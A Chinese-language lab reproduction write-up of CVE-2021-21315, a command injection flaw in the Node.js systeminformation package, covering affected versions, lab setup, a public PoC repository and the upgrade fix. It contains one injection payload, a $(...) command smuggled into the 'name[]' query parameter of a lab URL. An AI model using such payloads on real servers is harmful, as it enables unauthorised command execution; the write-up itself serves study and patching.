0%

Node.js命令注入漏洞(CVE-2021-21315)

漏洞描述


声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!

Node.js-systeminformation是用于获取各种系统信息的Node.JS模块,它包含多种轻量级功能,可以检索详细的硬件和系统相关信息。
2021年02月24日,npm团队发布安全公告,Node.js库中的systeminformation软件包中存在一个命令注入漏洞CVE-2021-21315,攻击者可以通过在未经过滤的参数中注入Payload来执行系统命令,最终获取服务器最高权限。

参考链接:https://blog.csdn.net/weixin_43867542/article/details/118890815


影响版本

1
Systeminformation < 5.3.1

环境搭建

1. Linux搭建;

1
2
3
4
5
6
7
8
9
# Nodejs安装

cd /opt/
Wget https://nodejs.org/dist/v12.18.4/node-v12.18.4-linux-x64.tar.xz
tar -xvf node-v12.18.4-linux-x64.tar.xz
mv node-v12.18.4-linux-x64 nodejs
sudo mv nodejs/ /usr/local/sbin/
sudo ln -s /usr/local/sbin/nodejs/bin/node /usr/local/bin/
sudo ln -s /usr/local/sbin/nodejs/bin/npm /usr/local/bin/

image-20211221140116127

1
2
3
4
5
6
# POC下载
git clone git://github.com/ForbiddenProgrammer/CVE-2021-21315-PoC

# nodejs启动http漏洞环境
cd /opt/CVE-2021-21315-PoC/
node index.js

image-20211221140302776

漏洞复现

浏览器访问:

1
http://192.168.220.131:8000/api/getServices?name[]=$(pstree -ah > 1.txt)

image-20211221142914760回到docke

返回到靶机,查看poc是否执行成功;

image-20211221143032830

漏洞修复

  • 建议将 systeminformation 及时升级到 5.3.1 或更高版本

欢迎关注我的其它发布渠道